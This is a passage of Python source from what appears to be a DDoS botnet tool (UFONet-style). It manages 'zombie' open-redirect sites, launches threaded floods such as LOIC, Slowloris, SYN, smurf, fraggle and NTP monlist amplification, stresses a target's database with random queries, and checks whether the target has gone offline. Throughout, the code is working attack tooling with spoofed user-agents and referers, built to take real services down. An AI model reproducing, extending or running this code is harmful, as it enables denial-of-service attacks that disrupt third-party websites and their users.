  4733. # list of [Zombies] ready to attack
  4734. num_active_zombie = 0
  4735. for z in zombies_ready:
  4736. t = urlparse(z)
  4737. name_zombie = t.netloc
  4738. if name_zombie == "":
  4739. name_zombie = z
  4740. num_active_zombie = num_active_zombie + 1
  4741. if self.options.verbose:
  4742. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4743. if self.options.testall: # testing_all
  4744. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4745. else:
  4746. print('-'*25 + "\n")
  4747. print('='*24)
  4748. print("Working [Zombies]:", num_active_zombie)
  4749. print('='*24)
  4750. if not self.options.forceyes:
  4751. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4752. print('-'*25)
  4753. else:
  4754. update_reply = "Y"
  4755. if update_reply == "n" or update_reply == "N":
  4756. print("[AI] "+self.exit_msg+"\n")
  4757. return
  4758. else:
  4759. self.update_zombies(zombies_ready)
  4760. if not self.options.upload:
  4761. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4762. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4763. else:
  4764. print('-'*25 + "\n")
  4765. print('='*24)
  4766. print("Working [Zombies]:", num_active_zombies)
  4767. print('='*24)
  4768. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4769. def testing_all(self):
  4770. # test whole botnet
  4771. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4772. print('='*35)
  4773. zombies = self.extract_zombies()
  4774. rpcs = self.extract_rpcs()
  4775. aliens = self.extract_aliens()
  4776. droids = self.extract_droids()
  4777. ucavs = self.extract_ucavs()
  4778. try:
  4779. botnet = zombies + rpcs + aliens + droids + ucavs
  4780. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4781. except:
  4782. return
  4783. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4784. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4785. print("\n" + '='*52)
  4786. print("\n+ Total Botnet:", len(botnet))
  4787. print("\n" + '-'*25)
  4788. print("\n+ Total Tested:", len(tested_zombies))
  4789. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4790. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4791. print('='*52 + '\n')
  4792. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4793. if not self.options.forceyes:
  4794. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4795. print('-'*25)
  4796. else:
  4797. update_reply = "Y"
  4798. if update_reply == "n" or update_reply == "N":
  4799. print("[AI] "+self.exit_msg+"\n")
  4800. return
  4801. else:
  4802. if num_disconnected_zombies > 0:
  4803. self.update_zombies(zombies_ready)
  4804. if num_failed_rpcs > 0:
  4805. self.update_rpcs(rpcs_ready)
  4806. if not self.options.upload:
  4807. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4808. else:
  4809. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4810. def attacking(self, zombies, target):
  4811. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4812. if self.options.forcessl:
  4813. if target.startswith("http://"):
  4814. target = target.replace("http://", "https://") # force SSL/TLS
  4815. if target.startswith("http://") or target.startswith("https://"):
  4816. print("Attacking:", target)
  4817. print('='*55, "\n")
  4818. # send Open Redirect injection (multiple zombies > one target url)
  4819. reply = self.injection(target, zombies)
  4820. else:
  4821. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4822. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  4823. # perform some other extra attacks (such as DoS techniques)
  4824. time.sleep(2) # aiming (multi-threading flow time compensation)
  4825. if loic:
  4826. try:
  4827. self.options.loic = int(loic)
  4828. except:
  4829. self.options.loic = 100 # default LOIC requests
  4830. if self.options.loic < 1:
  4831. self.options.loic = 100
  4832. self.instance = LOIC() # instance main class for LOIC operations
  4833. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4834. self.t1.daemon = True # extra weapons are threaded as daemons
  4835. self.t1.start()
  4836. self.update_loic_stats() # add new LOIC attack to mothership stats
  4837. if loris:
  4838. try:
  4839. self.options.loris = int(loris)
  4840. except:
  4841. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4842. if self.options.loris < 1:
  4843. self.options.loris = 101
  4844. self.instance = LORIS() # instance main class for LORIS operations
  4845. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4846. self.t2.daemon = True
  4847. self.t2.start()
  4848. self.update_loris_stats() # add new LORIS attack to mothership stats
  4849. if ufosyn:
  4850. try:
  4851. self.options.ufosyn = int(ufosyn)
  4852. except:
  4853. self.options.ufosyn = 100 # default UFOSYN requests
  4854. if self.options.ufosyn < 1:
  4855. self.options.ufosyn = 100
  4856. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4857. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4858. self.t3.daemon = True
  4859. self.t3.start()
  4860. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4861. if spray:
  4862. try:
  4863. self.options.spray = int(spray)
  4864. except:
  4865. self.options.spray = 100 # default SPRAY requests
  4866. if self.options.spray < 1:
  4867. self.options.spray = 100
  4868. self.instance = SPRAY() # instance main class for SPRAY operations
  4869. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4870. self.t4.daemon = True
  4871. self.t4.start()
  4872. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4873. if smurf:
  4874. try:
  4875. self.options.smurf = int(smurf)
  4876. except:
  4877. self.options.smurf = 101 # default SMURF requests
  4878. if self.options.smurf < 1:
  4879. self.options.smurf = 101
  4880. self.instance = SMURF() # instance main class for SMURF operations
  4881. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4882. self.t5.daemon = True
  4883. self.t5.start()
  4884. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4885. if xmas:
  4886. try:
  4887. self.options.xmas = int(xmas)
  4888. except:
  4889. self.options.xmas = 101 # default XMAS requests
  4890. if self.options.xmas < 1:
  4891. self.options.xmas = 101
  4892. self.instance = XMAS() # instance main class for XMAS operations
  4893. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4894. self.t6.daemon = True
  4895. self.t6.start()
  4896. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4897. if nuke:
  4898. if sys.platform == "linux" or sys.platform == "linux2":
  4899. try:
  4900. self.options.nuke = int(nuke)
  4901. except:
  4902. self.options.nuke = 10000 # default NUKE requests
  4903. if self.options.nuke < 1:
  4904. self.options.nuke = 10000
  4905. self.instance = NUKE() # instance main class for NUKE operations
  4906. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4907. self.t7.daemon = True # extra weapons are threaded as daemons
  4908. self.t7.start()
  4909. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4910. else:
  4911. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4912. if tachyon:
  4913. try:
  4914. self.options.tachyon = int(tachyon)
  4915. except:
  4916. self.options.tachyon = 1000 # default TACHYON requests
  4917. if self.options.tachyon < 1:
  4918. self.options.tachyon = 1000
  4919. self.instance = TACHYON() # instance main class for TACHYON operations
  4920. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4921. self.t8.daemon = True
  4922. self.t8.start()
  4923. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4924. if monlist:
  4925. try:
  4926. self.options.monlist = int(monlist)
  4927. except:
  4928. self.options.monlist = 1000 # default MONLIST requests
  4929. if self.options.monlist < 1:
  4930. self.options.monlist = 1000
  4931. self.instance = MONLIST() # instance main class for MONLIST operations
  4932. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4933. self.t9.daemon = True
  4934. self.t9.start()
  4935. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4936. if ufoack:
  4937. try:
  4938. self.options.ufoack = int(ufoack)
  4939. except:
  4940. self.options.ufoack = 101 # default UFOACK requests
  4941. if self.options.ufoack < 1:
  4942. self.options.ufoack = 101
  4943. self.instance = UFOACK() # instance main class for UFOACK operations
  4944. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  4945. self.t10.daemon = True
  4946. self.t10.start()
  4947. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  4948. if uforst:
  4949. try:
  4950. self.options.uforst = int(uforst)
  4951. except:
  4952. self.options.uforst = 101 # default UFORST requests
  4953. if self.options.uforst < 1:
  4954. self.options.uforst = 101
  4955. self.instance = UFORST() # instance main class for UFORST operations
  4956. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  4957. self.t11.daemon = True
  4958. self.t11.start()
  4959. self.update_uforst_stats() # add new UFORST attack to mothership stats
  4960. if droper:
  4961. try:
  4962. self.options.droper = int(droper)
  4963. except:
  4964. self.options.droper = 101 # default DROPER requests
  4965. if self.options.droper < 1:
  4966. self.options.droper = 101
  4967. self.instance = DROPER() # instance main class for DROPER operations
  4968. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  4969. self.t12.daemon = True
  4970. self.t12.start()
  4971. self.update_droper_stats() # add new DROPER attack to mothership stats
  4972. if overlap:
  4973. try:
  4974. self.options.overlap = int(overlap)
  4975. except:
  4976. self.options.overlap = 101 # default OVERLAP requests
  4977. if self.options.overlap < 1:
  4978. self.options.overlap = 101
  4979. self.instance = OVERLAP() # instance main class for OVERLAP operations
  4980. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  4981. self.t13.daemon = True
  4982. self.t13.start()
  4983. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  4984. if pinger:
  4985. try:
  4986. self.options.pinger = int(pinger)
  4987. except:
  4988. self.options.pinger = 101 # default PINGER requests
  4989. if self.options.pinger < 1:
  4990. self.options.pinger = 101
  4991. self.instance = PINGER() # instance main class for PINGER operations
  4992. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  4993. self.t14.daemon = True
  4994. self.t14.start()
  4995. self.update_pinger_stats() # add new PINGER attack to mothership stats
  4996. if ufoudp:
  4997. try:
  4998. self.options.ufoudp = int(ufoudp)
  4999. except:
  5000. self.options.ufoudp = 101 # default UFOUDP requests
  5001. if self.options.ufoudp < 1:
  5002. self.options.ufoudp = 101
  5003. self.instance = UFOUDP() # instance main class for UFOUDP operations
  5004. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  5005. self.t15.daemon = True
  5006. self.t15.start()
  5007. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  5008. if fraggle:
  5009. try:
  5010. self.options.fraggle = int(fraggle)
  5011. except:
  5012. self.options.fraggle = 101 # default FRAGGLE requests
  5013. if self.options.fraggle < 1:
  5014. self.options.fraggle = 101
  5015. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  5016. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  5017. self.t16.daemon = True
  5018. self.t16.start()
  5019. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  5020. if sniper:
  5021. try:
  5022. self.options.sniper = int(sniper)
  5023. except:
  5024. self.options.sniper = 101 # default SNIPER requests
  5025. if self.options.sniper < 1:
  5026. self.options.sniper = 101
  5027. self.instance = SNIPER() # instance main class for SNIPER operations
  5028. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  5029. self.t17.daemon = True
  5030. self.t17.start()
  5031. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  5032. def stressing(self, target, zombie):
  5033. # perform a DDoS Web attack against a target, requesting records on target's database
  5034. options = self.options
  5035. db_input = self.options.dbstress
  5036. def random_key(length):
  5037. key = ''
  5038. for i in range(length):
  5039. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  5040. return key
  5041. # generating random alphanumeric queries
  5042. if self.db_flash > 9: # set db flash start on: 10
  5043. length = 1024 # search a heavy random length query (db flash): 1024
  5044. self.db_flash = 0 # reset db flash counter
  5045. else:
  5046. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  5047. key = str(random_key(length))
  5048. if self.db_flash > 9:
  5049. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  5050. else:
  5051. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  5052. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5053. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5054. if not target.endswith('/'): # add "/" to end of target
  5055. target = target + "/"
  5056. url = zombie + target + db_input + key
  5057. req = urllib.request.Request(url, None, headers)
  5058. if options.proxy: # set proxy
  5059. self.proxy_transport(options.proxy)
  5060. try:
  5061. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5062. except urllib.error.HTTPError as e:
  5063. if e.code == 401:
  5064. print('[Info] [AI] [DBStress] Not authorized')
  5065. elif e.code == 404:
  5066. print('[Info] [AI] [DBStress] Not found')
  5067. elif e.code == 503:
  5068. print('[Info] [AI] [DBStress] Service unavailable')
  5069. else:
  5070. print('[Info] [AI] [DBStress] Unknown error')
  5071. else:
  5072. print('[Info] [AI] [DBStress] Database query: HIT!')
  5073. def attackme(self, zombies):
  5074. # perform a DDoS Web attack against yourself
  5075. print("[AI] Starting local port to listening at: " + self.port + "\n")
  5076. print('='*21 + "\n")
  5077. self.doll=Doll(self)
  5078. self.doll.start()
  5079. while not self.doll._armed:
  5080. time.sleep(1)
  5081. # send Open Redirect injection (multiple zombies-multiple target urls)
  5082. target = ""
  5083. self.injection(target, zombies)
  5084. self.doll.shutdown()
  5085. self.doll.join()
  5086. self.herd.list_fails()
  5087. def check_target_status(self):
  5088. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  5089. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  5090. if not self.options.forceyes:
  5091. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  5092. print("\n" + '-'*25)
  5093. else:
  5094. update_reply = "N"
  5095. if update_reply == "y" or update_reply == "Y":
  5096. try: # send HEAD connection
  5097. self.head = True
  5098. reply = self.connect_zombie(target)
  5099. self.head = False
  5100. if reply:
  5101. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  5102. else:
  5103. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5104. self.update_targets_crashed() # update targets crashed stats
  5105. self.update_mothership_stats() # update mothership completed attack stats
  5106. except Exception:
  5107. print("\n[Error] [AI] Something wrong with your connection!...\n")
  5108. if DEBUG == True:
  5109. traceback.print_exc()
  5110. return
  5111. else:
  5112. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5113. self.update_targets_crashed() # update targets crashed stats
  5114. self.update_mothership_stats() # update mothership completed attack stats
  5115. return
  5116. def starting_target_check(self, target, head_check):
  5117. options = self.options
  5118. head_check_here = False
  5119. head_check_external = False
  5120. if options.disablehead: # check at start is disabled (skipping!)
  5121. print("[Info] [AI] Skipping external check...\n")
  5122. head_check_here = True
  5123. head_check_external = True
  5124. else:
  5125. if head_check:
  5126. if not options.attackme:
  5127. print("[AI] Launching: 'Is target up?' check...\n")
  5128. try: # send HEAD connection
  5129. self.head = True
  5130. reply = self.connect_zombie(target)
  5131. self.head = False
  5132. if reply:
  5133. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  5134. head_check_here = True
  5135. else:
  5136. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  5137. head_check_here = False
  5138. except Exception:
  5139. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  5140. if DEBUG == True:
  5141. traceback.print_exc()
  5142. head_check_here = False
  5143. else: # check if local IP/PORT is listening on mothership
  5144. print("[AI] Launching: 'Is NAT ready?' check...\n")
  5145. try:
  5146. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  5147. result = sock.connect_ex(('0.0.0.0',8080))
  5148. if result == 0 or result == 110: # black magic
  5149. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  5150. head_check_here = True
  5151. else:
  5152. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  5153. head_check_here = False
  5154. except Exception:
  5155. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  5156. if DEBUG == True:
  5157. traceback.print_exc()
  5158. head_check_here = False
  5159. else:
  5160. head_check_here = True
  5161. # check target using external check services
  5162. self.external = True
  5163. if not options.attackme:
  5164. try:
  5165. target = self.parse_url_encoding(target) # parse for proper url encoding
  5166. try:
  5167. url = self.external_check_service1 + target # check from external service [1]
  5168. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5169. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5170. if options.proxy: # set proxy
  5171. self.proxy_transport(options.proxy)
  5172. req = urllib.request.Request(url, None, headers)
  5173. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5174. if b"returned code 200 OK and is up" in external_reply:
  5175. t = urlparse(self.external_check_service1)
  5176. name_external1 = t.netloc
  5177. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  5178. head_check_external = True
  5179. except:
  5180. url = self.external_check_service2 + target # check from external service [2]
  5181. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5182. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5183. if options.proxy: # set proxy
  5184. self.proxy_transport(options.proxy)
  5185. req = urllib.request.Request(url, None, headers)
  5186. try:
  5187. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5188. if b"It's just you" in req_reply:
  5189. t = urlparse(self.external_check_service2)
  5190. name_external2 = t.netloc
  5191. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  5192. head_check_external = True
  5193. else:
  5194. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5195. head_check_external = False
  5196. except urllib.error.HTTPError as e:
  5197. if e:
  5198. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  5199. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5200. head_check_external = False
  5201. except Exception:
  5202. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  5203. if DEBUG == True:
  5204. traceback.print_exc()
  5205. head_check_external = False
  5206. else:
  5207. try: # check mothership from public ip / NAT using HEAD request
  5208. try:
  5209. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  5210. reply = urllib.request.urlopen(req)
  5211. except Exception:
  5212. reply = None
  5213. if reply:
  5214. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  5215. head_check_external = True
  5216. else:
  5217. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  5218. head_check_external = False
  5219. head_check_here = False # stop attack if not public IP available
  5220. except Exception:
  5221. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  5222. head_check_here = False # stop attack if not public IP available
  5223. if DEBUG == True:
  5224. traceback.print_exc()
  5225. head_check_external = False
  5226. self.external = False
  5227. return head_check_here, head_check_external
  5228. def injection(self, target, zombies, head_check = True):
  5229. options = self.options
  5230. # check target's integrity at start
  5231. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  5232. # ask user to confirm the attack
  5233. if head_check_here == True or head_check_external == True:
  5234. if not self.options.forceyes:
  5235. if not options.attackme:
  5236. if not options.disablehead:
  5237. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  5238. else:
  5239. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  5240. else:
  5241. if not options.disablehead:
  5242. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  5243. else:
  5244. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  5245. else:
  5246. start_reply = "Y"
  5247. if start_reply == "y" or start_reply == "Y":
  5248. if options.attackme:
  5249. total_rounds = 2 # default rounds for attackme
  5250. else:
  5251. total_rounds = options.rounds # extract number of rounds
  5252. try:
  5253. total_rounds = int(total_rounds)
  5254. except:
  5255. total_rounds = 1
  5256. if not total_rounds:
  5257. total_rounds = 1
  5258. if total_rounds <= 0:
  5259. total_rounds = 1
  5260. self.herd.cleanup()
  5261. num_round = 1
  5262. num_hits = 0
  5263. num_zombie = 1
  5264. # start to attack the target with [MODS]
  5265. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  5266. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  5267. ex.daemon = True # extra weapons are threaded as daemons
  5268. ex.start()
  5269. # start to attack the target with [ARMY]
  5270. zombies = self.extract_zombies() # extract zombies from file
  5271. if zombies:
  5272. self.total_zombie = len(zombies)
  5273. else:
  5274. self.total_zombie = 0
  5275. return
  5276. self.herd=Herd(self)
  5277. if not self.options.disablepurge:
  5278. self.discardzombies = []
  5279. self.discard_aliens = []
  5280. self.discard_droids = []
  5281. self.discard_rpcs = []
  5282. self.discard_ucavs = []
  5283. total_disc_zombies = 0
  5284. self.num_discard_zombies = 0
  5285. self.num_discard_aliens = 0
  5286. self.num_discard_droids = 0
  5287. self.num_discard_rpcs = 0
  5288. self.num_discard_ucavs = 0
  5289. self.empty_zombies = False
  5290. for i in range(0, int(total_rounds)): # start attacking using rounds
  5291. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  5292. print('='*42)
  5293. print('Starting round:', num_round, ' of ', total_rounds)
  5294. print('='*42)
  5295. self.herd.reset()
  5296. self.extra_zombies_lock = True
  5297. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  5298. self.send_zombies(zombies) # send [Zombies]
  5299. if not self.options.attackme:
  5300. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  5301. if self.options.verbose:
  5302. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  5303. self.send_extra_zombies() # send [ARMY]
  5304. while self.extra_zombies_lock == True:
  5305. time.sleep(1) # wait for [ARMY] to return
  5306. if self.options.verbose:
  5307. print("\n" + '='*42)
  5308. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  5309. else:
  5310. zombies_lock = 0
  5311. if self.options.expire: # set timing for purge
  5312. try:
  5313. timing = int(self.options.expire)
  5314. except:
  5315. timing = self.expire_timing # default timing for purge
  5316. else:
  5317. timing = self.expire_timing # default timing for purge
  5318. if timing < 1:
  5319. timing = self.expire_timing # default timing for purge
  5320. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5321. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  5322. zombies_lock = zombies_lock + 1
  5323. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5324. if self.options.verbose:
  5325. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5326. break
  5327. else:
  5328. time.sleep(1)
  5329. if self.options.verbose:
  5330. print("\n" + '='*42)
  5331. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  5332. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  5333. self.check_target_status()
  5334. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  5335. self.abandoning_zombies() # check for abandoning zombies
  5336. for zombie in self.herd.done: # check for num hits
  5337. if self.herd.connection_failed(zombie) == False:
  5338. num_hits = num_hits + 1
  5339. num_zombie = num_zombie + 1
  5340. if num_zombie > self.total_zombie:
  5341. num_zombie = 1
  5342. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  5343. check_is_loading = self.check_is_loading(target)
  5344. self.herd.dump_html()
  5345. if not self.options.disablepurge:
  5346. if self.empty_zombies == True:
  5347. break # exit routine when not any more zombies
  5348. num_round = num_round + 1
  5349. if self.options.verbose:
  5350. print("\n" + '='*42)
  5351. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  5352. if self.options.loic: # try to stop daemons/threads for extra weapons
  5353. self.t1.join()
  5354. if self.options.loris:
  5355. self.t2.join()
  5356. if self.options.ufosyn:
  5357. self.t3.join()
  5358. if self.options.spray:
  5359. self.t4.join()
  5360. if self.options.smurf:
  5361. self.t5.join()
  5362. if self.options.xmas:
  5363. self.t6.join()
  5364. if self.options.nuke:
  5365. self.t7.join()
  5366. if self.options.tachyon:
  5367. self.t8.join()
  5368. if self.options.monlist:
  5369. self.t9.join()
  5370. if self.options.ufoack:
  5371. self.t10.join()
  5372. if self.options.uforst:
  5373. self.t11.join()
  5374. if self.options.droper:
  5375. self.t12.join()
  5376. if self.options.overlap:
  5377. self.t13.join()
  5378. if self.options.pinger:
  5379. self.t14.join()
  5380. if self.options.ufoudp:
  5381. self.t15.join()
  5382. if self.options.fraggle:
  5383. self.t16.join()
  5384. if self.options.sniper:
  5385. self.t17.join()
  5386. if self.options.target_list:
  5387. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  5388. print ("\x1b[2J\x1b[H") # black magic
  5389. if not self.options.attackme: # show herd results
  5390. self.herd.dump()
  5391. else: # show doll results
  5392. print('='*21)
  5393. print("\n[Info] [AI] Mothership transmission...\n")
  5394. num_real_zombies = len(self.doll.real_zombies)
  5395. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  5396. for z in self.doll.real_zombies: # show only alien verified zombies
  5397. for x in z:
  5398. print(" - " + str(x))
  5399. self.herd.dump_html(True) # show (all) zombies statistics
  5400. if not self.options.attackme:
  5401. if not self.options.disablepurge:
  5402. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  5403. else:
  5404. if not options.target_list:
  5405. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  5406. else:
  5407. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  5408. self.update_mothership_stats() # update mothership stats
  5409. if not self.options.disablepurge:
  5410. print('='*21+ "\n")
  5411. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  5412. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5413. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  5414. elif total_disc_zombies > 1:
  5415. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  5416. if self.num_discard_zombies > 0:
  5417. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  5418. if self.num_discard_aliens > 0:
  5419. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  5420. if self.num_discard_droids > 0:
  5421. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  5422. if self.num_discard_rpcs > 0:
  5423. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  5424. if self.num_discard_ucavs > 0:
  5425. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  5426. if total_disc_zombies > 0:
  5427. if not self.options.forceyes:
  5428. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5429. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  5430. elif total_disc_zombies > 1:
  5431. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  5432. else:
  5433. backup_reply = "Y"
  5434. if backup_reply == "y" or backup_reply == "Y":
  5435. print("\n[Info] [AI] Purging failed units from files...\n")
  5436. discarded = []
  5437. if self.num_discard_zombies > 0:
  5438. for z in self.discardzombies:
  5439. discarded.append(z)
  5440. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  5441. if self.num_discard_aliens > 0:
  5442. for a in self.discard_aliens:
  5443. discarded.append(a)
  5444. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  5445. if self.num_discard_droids > 0:
  5446. for d in self.discard_droids:
  5447. discarded.append(d)
  5448. print(" + [Info] [Droids] "+d+" -> [Purged!]")
